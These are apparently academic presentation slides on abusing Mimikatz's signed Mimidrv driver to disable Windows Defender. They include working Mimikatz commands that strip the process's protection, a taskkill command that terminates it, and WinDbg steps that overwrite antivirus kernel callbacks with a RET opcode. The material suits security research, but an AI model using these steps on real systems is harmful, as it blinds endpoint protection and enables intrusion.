Using Mimikatz’ driver to unhook antivirus on Windows

Supervisor: Cedric van Bockhaven
Bram Blaauwendraad & Thomas Ouddeken
Mimikatz

Post exploitation tool created by Benjamin Delpy

Administrative privileges required

Used to extract authentication information, such as:

- Passwords
- Hashes
- Smartcard PIN codes
- Kerberos (ticket granting) tickets
Mimidrv

- A signed driver in the Mimikatz toolkit
- Can be used to read/write to kernel space memory using Input/Output Control Messages (IOCTL)
- Extrapolate to other vulnerable drivers
Antivirus

Mini-filters

○ Monitors/tracks file system data

Callback

○ LoadImage
○ CreateThread
○ CreateProcess
○ CreateFile
Implications

- Signed drivers with similar vulnerabilities
- VirtualBox driver
- Have legitimate uses
Can the signed Mimidrv driver be exploited to render antivirus useless by unhooking callbacks in Windows?

- How can Mimidrv be used to arbitrarily read/write in kernel space in Windows?
- How can arbitrary read/write capability in kernel space be used to unhook antivirus callbacks in Windows?
Related work

- An in-depth article on Mimikatz’ inner workings by Matt Hand
- Unsupported claims that unloading AV-driver is possible on multiple blogs
- Book on inner workings of antiviruses by J. Koret and E. Bachaalany
Methodology

○ A host (debugger) and target (debuggee)
  ○ Windows 10 1912 and 1809 respectively
  ○ Virtual Machines (VMWare)

○ WinDbg over serial port

○ Focus on Windows Defender
Unloading

Conspicuous way of disabling antivirus
- Closing the process

- However....
  - Windows defender is a protected process
Unloading: !process

Doubly linked list containing process information

- PrimaryTokenFrozen
- SignatureProtect
- Protection

```
mimikatz # !process
4     System       F-Tok       Sig 1e/1c [2-0-7]
88    Registry     F-Tok       Sig 00/00 [2-0-7]
292   smss.exe     F-Tok       Sig 3e/0c [1-0-6]
```
Unloading

2260  MsMpEng.exe  F-Tok  Sig 37/08 [1-0-3]

mimikatz # !processprotect /process:MsMpEng.exe /remove
Process : MsMpEng.exe
PID 2260 -> 00/00 [0-0-0]

2260  MsMpEng.exe  F-Tok  Sig 00/00 [0-0-0]
Unloading: success

```bash
C:\Windows\system32>taskkill /F /IM MsMpEng.exe /T
SUCCESS: The process with PID 2260 (child process of PID 552) has been terminated.
```

Virus & threat protection

Protection for your device against threats.

- The threat service has stopped. Restart it now.

  Restart now
Unhooking callbacks

Less conspicuous

Challenges:

- Windows Kernel Patch Protection (KPP / Patchguard)
- Avoiding other detection methods
- Avoiding blue screen
Unhooking callbacks

Render callbacks useless
- For each callback, locate their address with Mimidrv
- Verify that callback addresses lie within the AV-driver using WinDbg
- Overwrite callback locations with opcode 0xC3 (RET)
- Callbacks should now always return OK
**Unhooking callbacks example**

```plaintext
1: kd> dq nt!PspCreateProcessNotifyRoutine
ffffff801`778d9b70 fffffb20c`8bc50d8f fffffb20c`8be8d2f
ffffff801`778d9b80 fffffb20c`8d4a20af fffffb20c`8d4a1bcf
ffffff801`778d9b90 fffffb20c`8d4a1b9f fffffb20c`8ddb10bf
ffffff801`778d9ba0 fffffb20c`8ddb1a1f fffffb20c`8ddb18cf
ffffff801`778d9bb0 fffffb20c`8deb7a9f fffffb20c`8debc3ef
ffffff801`778d9bc0 00000000`00000000 00000000`00000000
ffffff801`778d9bd0 00000000`00000000 00000000`00000000
ffffff801`778d9be0 00000000`00000000 00000000`00000000
```
Unhooking callbacks example

typedef struct _EX_CALLBACK_ROUTINE_BLOCK {
    EX_RUNDOWN_REF RundownProtect;
    PEX_CALLBACK_FUNCTION Function;
    PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;

1: kd> dq ((fffffb20c`8d4a20af >> 4) << 4) + 8 L1
fffffb20c`8d4a20a8  fffff801`7a92cf90
Unhooking callbacks example

```
1: kd> e ffffffff801`7a92cf90 c3
```

```
1: kd> db ffffffff801`7a92cf90
ffffffff801`7a92cf90  c3  89 5c 24 08 55 56 57-41 54 41 55 41 56 41 57
ffffffff801`7a92cfa0  48 8d 6c 24 d9 48 81 ec-90 00 00 00 49 8b f8 48
ffffffff801`7a92cfc0  8d 05 4a 40 fd ff 4c 8b-e2 4c 8b e9 33 d2 48 89
ffffffff801`7a92cfd0  55 7f 8b da 48 89 55 d7-8b f2 44 8a fa 44 8a f2
ffffffff801`7a92cfe0  8d 05 4a 40 fd ff 4c 8b-e2 4c 8b e9 33 d2 48 89
ffffffff801`7a92cff0  55 7f 8b da 48 89 55 d7-8b f2 44 8a fa 44 8a f2
ffffffff801`7a92d000  8d 05 4a 40 fd ff 4c 8b-e2 4c 8b e9 33 d2 48 89
```
Unhooking callbacks testing

Testing is difficult

- AV do not only use mini-filters and callbacks
- Check the hash of a program before it is executed
- Heuristics and comparing code snippets
Unhooking callbacks through driver

Render callbacks useless
- IOCTL for reading/writing kernel memory already present
- Mimidrv signed
- Use this IOCTL to do the same as with WinDbg
Still some work to do, such as:

- Test our theories reliably
- Perform the same methods using other drivers

Future work
- Proof exploit in real world
- Exploit enterprise-grade AV